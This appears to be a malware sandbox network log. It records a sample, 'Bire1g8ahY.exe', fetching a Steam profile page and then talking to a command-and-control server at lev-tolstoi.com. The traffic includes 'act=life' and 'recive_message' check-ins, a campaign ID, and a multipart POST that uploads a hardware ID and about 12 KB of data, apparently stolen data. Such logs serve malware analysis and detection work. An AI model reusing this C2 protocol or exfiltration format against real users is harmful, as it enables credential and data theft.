https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 07:44:17 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=044b2140bc73d0d1c4d0ffcb; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 07:44:17 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 07:44:18 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 07:44:18 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-23 07:44:18 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 07:44:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:44:20 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2id5m3ahmfnbjbg04pdgaj1goq; expires=Fri, 18 Apr 2025 01:30:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Biviy3hwh8SuKA0ywId2NXApCn%2FN5LcgUbe%2BLr%2FrpFuQMNGjKeBXm6GOLkc52DyiyubcoLANR4rF%2Fpn8oGERPZcYl0Ke9Hfmx6gke5uIWXpjm413%2FCLPH1QroOginnoyGRo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66b9cb4b0f4390-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1703&rtt_var=653&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1659090&cwnd=243&unsent_bytes=0&cid=e12ee3812f4ecb2e&ts=640&x=0"
2024-12-23 07:44:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:44:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49703	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: lev-tolstoi.com
2024-12-23 07:44:21 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 07:44:22 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gs2vsjibtl1fpe57c60k2sgmfg; expires=Fri, 18 Apr 2025 01:31:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l3h1B0nQVUXy6K4mbBPIxFsGbuuSmvyiVQs55ZlIBRGJNiaWgWtzxO3mVDldmaDUs6AoV%2F6bhWd2M2M4ghctuhu9M33hvU9EFWY9a8XNzb3zdgS9BXXmLz%2BrmmEuPOuuzIk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66b9d74e265e5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2150&min_rtt=2150&rtt_var=806&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1356877&cwnd=251&unsent_bytes=0&cid=c5faac724110fdc7&ts=769&x=0"
2024-12-23 07:44:22 UTC	248	IN	Data Raw: 31 63 61 65 0d 0a 33 54 71 76 39 72 42 4e 72 67 6a 66 6c 73 4c 6b 33 78 4e 6f 4b 58 75 77 30 50 4e 7a 41 62 45 52 6b 34 47 2f 4d 36 78 6a 30 42 65 6d 47 4e 6e 55 69 6e 6d 43 4b 71 7a 7a 34 4e 36 72 59 52 31 4d 56 35 4b 78 6c 31 45 37 31 33 44 2f 38 74 6f 66 6a 68 57 39 4e 65 64 63 7a 70 72 44 4b 49 49 71 75 75 37 67 33 6f 52 6f 53 6b 77 56 6b 75 72 52 46 6d 76 54 63 50 2f 6a 33 6c 6a 44 45 37 78 30 74 56 62 49 6e 74 55 75 79 6d 6d 7a 2b 36 65 42 75 6e 49 43 52 78 4c 64 75 4a 35 52 4c 5a 4e 30 36 61 4f 46 45 65 45 47 70 48 61 51 57 39 79 64 6b 6a 43 43 63 2f 33 7a 72 4d 62 6c 4d 51 6c 4d 47 64 79 32 6c 78 68 70 32 58 6e 33 34 74 74 5a 33 41 71 32 66 37 56 59 79 35 2f 66 4a 39 35 6b 75 66 79 73 68 37 42 79 53 67 56 5a 31 61 72 52 53 53 Data Ascii: 1cae3Tqv9rBNrgjflsLk3xNoKXuw0PNzAbERk4G/M6xj0BemGNnUinmCKqzz4N6rYR1MV5Kxl1E713D/8tofjhW9NedczprDKIIquu7g3oRoSkwVkurRFmvTcP/j3ljDE7x0tVbIntUuymmz+6eBunICRxLduJ5RLZN06aOFEeEGpHaQW9ydkjCCc/3zrMblMQlMGdy2lxhp2Xn34ttZ3Aq2f7VYy5/fJ95kufysh7BySgVZ1arRSS
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 4f 41 51 66 4c 79 7a 45 54 44 45 62 51 31 6f 42 62 55 31 4e 55 6a 6a 44 4c 39 2f 4b 79 49 75 48 49 46 54 42 6a 53 6f 4a 34 52 59 4e 74 37 39 65 6e 53 58 73 45 50 75 48 4b 33 55 63 71 62 31 53 66 4b 5a 62 36 30 37 73 61 36 61 55 6f 54 57 66 4b 69 6b 68 4a 33 33 6d 4b 78 2f 4a 4e 49 6a 67 61 2b 4e 65 63 59 79 35 72 54 49 73 78 34 74 66 2b 72 67 36 39 36 41 30 59 55 30 72 2b 62 48 6d 44 54 64 50 76 70 30 6c 76 4b 44 4c 39 7a 76 31 69 4e 32 70 49 6f 31 43 72 6c 74 49 4f 44 72 58 59 47 58 56 76 6f 38 6f 35 66 65 70 4e 30 2f 61 4f 46 45 63 59 45 73 58 61 30 56 38 36 63 32 54 33 4d 65 4c 76 35 70 5a 53 37 64 41 52 42 47 73 43 34 6e 78 64 67 32 6e 6a 34 35 74 70 56 6a 6b 2f 79 63 71 63 59 6c 64 54 7a 49 73 64 6d 74 2b 4f 67 78 71 49 2f 45 77 73 65 33 76 4c 4a 55 Data Ascii: OAQfLyzETDEbQ1oBbU1NUjjDL9/KyIuHIFTBjSoJ4RYNt79enSXsEPuHK3Ucqb1SfKZb607sa6aUoTWfKikhJ33mKx/JNIjga+NecYy5rTIsx4tf+rg696A0YU0r+bHmDTdPvp0lvKDL9zv1iN2pIo1CrltIODrXYGXVvo8o5fepN0/aOFEcYEsXa0V86c2T3MeLv5pZS7dARBGsC4nxdg2nj45tpVjk/ycqcYldTzIsdmt+OgxqI/Ewse3vLJU
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 78 72 5a 31 57 31 6b 48 71 4e 5a 56 62 32 5a 66 59 62 66 6c 70 73 2f 71 6e 6b 50 31 75 52 46 4a 5a 31 62 37 52 53 53 50 65 63 76 6e 6c 7a 31 37 44 41 72 78 37 73 46 33 43 6e 4e 49 76 77 57 2b 35 2f 36 75 46 73 48 55 59 51 52 6e 61 74 35 41 62 61 5a 4d 39 73 65 54 46 45 5a 5a 42 67 32 4b 30 47 76 69 58 33 43 48 4c 66 50 33 72 37 70 2f 39 64 67 59 4c 51 5a 4b 2f 6d 52 52 6d 33 48 4c 37 37 64 68 62 77 67 6d 38 64 71 31 58 79 5a 54 65 4a 38 5a 6e 73 2f 43 6f 6a 37 5a 36 44 45 73 59 32 50 4c 66 55 57 54 4c 4d 36 6d 6a 36 56 62 43 44 4c 30 33 69 6c 76 44 6d 74 55 35 6a 48 58 7a 37 65 43 42 73 54 46 53 43 78 58 62 73 70 6f 62 5a 39 4e 30 2f 4f 62 65 56 73 30 4d 74 58 2b 78 58 38 6d 59 32 79 4c 4b 61 72 72 77 70 5a 53 34 65 41 5a 48 57 5a 7a 79 6c 67 6b 6a 69 7a Data Ascii: xrZ1W1kHqNZVb2ZfYbflps/qnkP1uRFJZ1b7RSSPecvnlz17DArx7sF3CnNIvwW+5/6uFsHUYQRnat5AbaZM9seTFEZZBg2K0GviX3CHLfP3r7p/9dgYLQZK/mRRm3HL77dhbwgm8dq1XyZTeJ8Zns/Coj7Z6DEsY2PLfUWTLM6mj6VbCDL03ilvDmtU5jHXz7eCBsTFSCxXbspobZ9N0/ObeVs0MtX+xX8mY2yLKarrwpZS4eAZHWZzylgkjiz
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 45 5a 5a 42 75 33 79 74 56 73 4f 64 33 79 6e 45 62 62 50 35 71 34 43 32 64 67 31 4e 46 4e 71 2f 6c 42 4a 69 31 33 6e 6a 34 4e 5a 62 77 77 76 79 4f 2f 39 66 31 64 53 4b 62 2b 74 6d 6c 4f 53 37 6c 4b 73 78 46 51 55 41 6b 72 57 64 55 54 75 54 63 50 37 71 30 6c 6e 47 44 72 31 78 73 56 37 4c 6d 64 63 67 78 6e 69 31 2b 71 32 4e 73 6e 6f 59 53 78 54 57 76 70 55 5a 61 4e 6b 7a 76 36 50 61 53 59 35 5a 38 6b 43 79 56 38 32 58 78 47 2f 54 4a 4b 53 30 70 34 72 39 4b 55 70 48 46 39 4b 39 6e 52 31 6f 32 33 4c 39 37 64 70 55 78 77 6d 36 5a 37 35 63 78 5a 58 63 49 4d 31 75 75 50 47 6b 67 62 6c 33 42 51 74 58 6b 72 57 4a 55 54 75 54 58 4e 62 57 6e 33 44 30 51 61 30 37 70 68 6a 4b 6d 4a 4a 33 6a 47 61 2b 2b 4b 69 4a 75 33 67 47 51 52 44 5a 76 70 6f 56 62 39 70 32 39 2b 4c Data Ascii: EZZBu3ytVsOd3ynEbbP5q4C2dg1NFNq/lBJi13nj4NZbwwvyO/9f1dSKb+tmlOS7lKsxFQUAkrWdUTuTcP7q0lnGDr1xsV7Lmdcgxni1+q2NsnoYSxTWvpUZaNkzv6PaSY5Z8kCyV82XxG/TJKS0p4r9KUpHF9K9nR1o23L97dpUxwm6Z75cxZXcIM1uuPGkgbl3BQtXkrWJUTuTXNbWn3D0Qa07phjKmJJ3jGa++KiJu3gGQRDZvpoVb9p29+L
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 37 56 38 72 56 62 41 6d 39 6f 6e 78 57 75 35 38 61 32 41 73 58 73 4c 54 42 66 63 75 74 46 66 49 39 52 72 73 62 75 64 63 4e 34 61 6f 47 4f 79 65 63 43 62 6b 6a 43 43 63 2f 33 7a 72 4d 62 6c 4d 51 4e 5a 48 64 2b 67 6d 42 5a 74 33 48 44 6a 34 74 42 61 33 41 61 39 63 62 68 55 79 35 76 55 4c 73 6c 67 73 66 4f 6c 6a 62 4a 39 53 67 56 5a 31 61 72 52 53 53 50 39 65 4f 4c 30 33 6c 2f 46 46 36 6b 31 6f 42 62 55 31 4e 55 6a 6a 44 4c 39 39 36 75 4e 75 58 45 47 53 78 33 66 73 6f 4d 65 5a 4e 52 36 2b 76 48 58 56 73 6b 4b 75 6e 36 77 58 74 2b 59 33 44 33 4a 65 4b 2b 30 37 73 61 36 61 55 6f 54 57 65 53 31 67 51 46 67 6b 55 4c 6e 34 4d 74 61 77 77 33 79 61 76 46 42 6a 5a 50 65 62 35 51 71 75 2f 75 70 68 62 4a 77 41 30 63 55 31 37 75 55 45 47 58 58 65 66 76 6a 32 31 66 50 Data Ascii: 7V8rVbAm9onxWu58a2AsXsLTBfcutFfI9RrsbudcN4aoGOyecCbkjCCc/3zrMblMQNZHd+gmBZt3HDj4tBa3Aa9cbhUy5vULslgsfOljbJ9SgVZ1arRSSP9eOL03l/FF6k1oBbU1NUjjDL996uNuXEGSx3fsoMeZNR6+vHXVskKun6wXt+Y3D3JeK+07sa6aUoTWeS1gQFgkULn4Mtaww3yavFBjZPeb5Qqu/uphbJwA0cU17uUEGXXefvj21fP
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 39 66 77 64 53 4b 62 38 39 74 76 76 57 71 6a 37 46 2b 44 55 38 4c 32 4c 57 44 45 47 4c 59 66 76 33 6a 30 46 7a 45 41 4c 74 34 73 31 58 4b 6b 39 30 71 6a 43 54 39 38 37 6a 47 35 54 45 72 52 68 4c 65 36 63 74 52 66 4a 31 71 73 65 54 52 45 5a 5a 42 73 6e 2b 36 55 73 43 58 33 53 7a 65 61 37 76 6d 6f 49 75 33 59 77 42 41 48 4e 2b 2f 6e 42 4a 6c 31 58 6a 39 38 64 52 52 7a 51 72 79 4f 2f 39 66 31 64 53 4b 62 2b 39 39 71 2f 36 6e 69 71 74 36 43 30 67 50 33 36 4c 52 58 79 50 43 64 4f 43 6a 68 55 66 65 46 72 56 71 38 55 47 4e 6b 39 35 76 6c 43 71 37 2f 61 61 42 75 33 38 59 54 68 2f 64 76 5a 67 59 5a 39 74 77 38 65 66 5a 56 73 73 43 76 6e 36 34 57 38 4b 51 32 79 48 46 5a 66 32 36 34 49 47 6c 4d 56 49 4c 4f 4d 6d 78 6e 52 77 6a 7a 44 33 6f 6f 39 70 64 6a 6c 6e 79 65 Data Ascii: 9fwdSKb89tvvWqj7F+DU8L2LWDEGLYfv3j0FzEALt4s1XKk90qjCT987jG5TErRhLe6ctRfJ1qseTREZZBsn+6UsCX3Szea7vmoIu3YwBAHN+/nBJl1Xj98dRRzQryO/9f1dSKb+99q/6niqt6C0gP36LRXyPCdOCjhUfeFrVq8UGNk95vlCq7/aaBu38YTh/dvZgYZ9tw8efZVssCvn64W8KQ2yHFZf264IGlMVILOMmxnRwjzD3oo9pdjlnye
2024-12-23 07:44:22 UTC	257	IN	Data Raw: 66 78 43 72 4c 66 50 2f 42 6f 34 69 7a 64 68 77 4c 42 75 33 38 30 52 35 35 6b 79 76 49 2b 70 31 57 77 6b 48 71 4e 61 70 66 7a 5a 50 49 4f 63 74 6d 72 50 2b 74 69 70 39 2b 44 56 30 61 33 62 47 41 47 43 2f 59 66 72 47 74 6e 56 62 57 51 65 6f 31 6b 46 2f 62 6c 2f 30 73 33 57 50 39 75 75 43 42 71 7a 46 53 43 79 65 53 6f 4a 49 42 59 4e 78 69 7a 36 4f 46 53 50 42 42 75 57 4f 34 53 4d 36 43 32 53 4c 41 65 34 4f 30 2b 4e 4c 76 49 31 67 5a 53 38 33 79 6a 69 34 74 6b 33 4b 78 75 2b 52 49 6a 68 66 79 4c 65 30 57 6a 59 61 53 64 34 77 74 76 75 61 79 67 4c 35 6e 43 51 77 6e 37 4a 57 48 47 32 54 44 64 4f 62 73 6e 52 2b 4f 44 76 49 74 68 68 6a 45 6b 38 6b 2b 32 6d 65 74 38 2b 43 35 38 7a 45 53 43 30 47 53 68 35 49 66 62 64 52 6c 34 4b 37 36 52 38 51 47 6f 6e 4b 6f 56 34 Data Ascii: fxCrLfP/Bo4izdhwLBu380R55kyvI+p1WwkHqNapfzZPIOctmrP+tip9+DV0a3bGAGC/YfrGtnVbWQeo1kF/bl/0s3WP9uuCBqzFSCyeSoJIBYNxiz6OFSPBBuWO4SM6C2SLAe4O0+NLvI1gZS83yji4tk3Kxu+RIjhfyLe0WjYaSd4wtvuaygL5nCQwn7JWHG2TDdObsnR+ODvIthhjEk8k+2met8+C58zESC0GSh5IfbdRl4K76R8QGonKoV4
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 32 63 36 65 0d 0a 33 61 6b 69 6d 4d 4d 75 36 36 34 49 4b 73 4d 56 49 62 53 34 6e 6e 77 6b 59 7a 67 57 79 2f 2b 70 31 48 6a 6c 6e 67 4f 2f 39 4b 6a 63 79 53 61 4d 39 34 72 2f 4b 6a 6b 4c 34 32 4e 48 55 2b 79 4c 2b 58 42 6e 4c 74 54 66 62 35 30 46 66 5a 45 50 35 67 76 46 62 44 6b 38 52 76 67 69 71 79 74 50 69 2f 2f 54 6c 4b 64 46 65 53 71 74 46 4a 49 2b 5a 77 2f 2b 33 61 52 39 39 4d 6c 57 2b 79 58 74 71 46 6b 6d 47 4d 62 50 32 73 38 4d 6a 39 64 52 73 4c 51 59 4c 67 79 6b 51 77 68 43 4f 6a 2f 4a 4e 49 6a 68 66 79 4c 65 30 57 6a 59 61 53 64 34 77 74 76 75 61 79 67 4c 35 6e 43 51 77 6e 37 4a 79 57 46 32 62 55 59 37 50 4e 31 6b 58 4a 51 66 77 31 73 42 69 56 72 5a 4a 6e 6a 46 58 7a 74 4c 6a 47 35 54 45 2f 53 42 66 63 74 59 63 41 4c 76 31 30 39 2b 62 61 51 59 77 Data Ascii: 2c6e3akimMMu664IKsMVIbS4nnwkYzgWy/+p1HjlngO/9KjcySaM94r/KjkL42NHU+yL+XBnLtTfb50FfZEP5gvFbDk8RvgiqytPi//TlKdFeSqtFJI+Zw/+3aR99MlW+yXtqFkmGMbP2s8Mj9dRsLQYLgykQwhCOj/JNIjhfyLe0WjYaSd4wtvuaygL5nCQwn7JyWF2bUY7PN1kXJQfw1sBiVrZJnjFXztLjG5TE/SBfctYcALv109+baQYw
2024-12-23 07:44:22 UTC	1369	IN	Data Raw: 77 71 44 31 4d 42 76 6c 43 72 36 39 37 4b 55 75 33 49 63 53 46 37 73 6a 4c 59 66 5a 4e 4a 6c 34 66 54 53 48 75 41 33 6b 30 75 42 54 63 36 61 33 43 6a 61 65 2f 32 36 34 49 6e 39 4b 54 4d 4c 55 5a 4b 4e 33 31 46 37 6b 79 75 78 31 74 35 66 77 41 61 6b 5a 50 4a 2f 77 35 50 54 4f 64 78 39 73 72 75 4f 73 4a 77 78 52 41 73 66 6b 75 72 44 58 79 50 58 59 72 47 37 6a 51 4f 56 56 4f 45 69 37 77 72 53 32 73 74 76 32 69 72 6c 70 75 37 47 72 7a 46 53 43 31 37 52 6f 49 4d 58 59 4d 56 77 74 74 33 6a 64 73 41 47 73 32 4f 76 56 63 47 31 30 54 37 47 56 49 50 68 6f 34 69 7a 64 68 78 61 57 5a 7a 79 6e 6c 45 37 36 6a 4f 35 6f 2b 49 66 6a 68 6e 79 4c 66 39 74 7a 70 72 63 4b 4e 70 37 38 4e 4f 75 67 62 78 6e 47 6b 59 56 38 37 47 41 47 79 4f 64 4d 2f 65 6a 68 51 4f 41 51 62 5a 6b Data Ascii: wqD1MBvlCr697KUu3IcSF7sjLYfZNJl4fTSHuA3k0uBTc6a3Cjae/264In9KTMLUZKN31F7kyux1t5fwAakZPJ/w5PTOdx9sruOsJwxRAsfkurDXyPXYrG7jQOVVOEi7wrS2stv2irlpu7GrzFSC17RoIMXYMVwtt3jdsAGs2OvVcG10T7GVIPho4izdhxaWZzynlE76jO5o+IfjhnyLf9tzprcKNp78NOugbxnGkYV87GAGyOdM/ejhQOAQbZk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49709	172.67.157.254	443	7312	C:\Users\user\Desktop\Bire1g8ahY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:44:23 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A34C8LRG4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12790 Host: lev-tolstoi.com
2024-12-23 07:44:23 UTC	12790	OUT	Data Raw: 2d 2d 41 33 34 43 38 4c 52 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 43 44 45 39 39 43 35 44 38 43 30 33 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 33 34 43 38 4c 52 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 33 34 43 38 4c 52 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 33 34 43 38 4c 52 47 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --A34C8LRG4Content-Disposition: form-data; name="hwid"3FCDE99C5D8C0386AC8923850305D13E--A34C8LRG4Content-Disposition: form-data; name="pid"2--A34C8LRG4Content-Disposition: form-data; name="lid"PsFKDg--pablo--A34C8LRG4Content-Disp
2024-12-23 07:44:24 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:44:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=90d89qb04inkdhj25ga8qgt6ql; expires=Fri, 18 Apr 2025 01:31:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Z5ANqBT2D5CJp9J9v7%2FzVdut2gHHFxu0MxemfzVcccGshZDGCh0Gpg9h9CUBNOIlcePdVdn7fPvu1bEUA2yoADRWMetg5YeGiFJOFfAf5W8bjmNUulgy5cXre7IjYGVWeg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66b9e63b48c43b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1463&rtt_var=563&sent=15&recv=18&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13720&delivery_rate=1919789&cwnd=194&unsent_bytes=0&cid=409cf46327df071d&ts=1087&x=0"
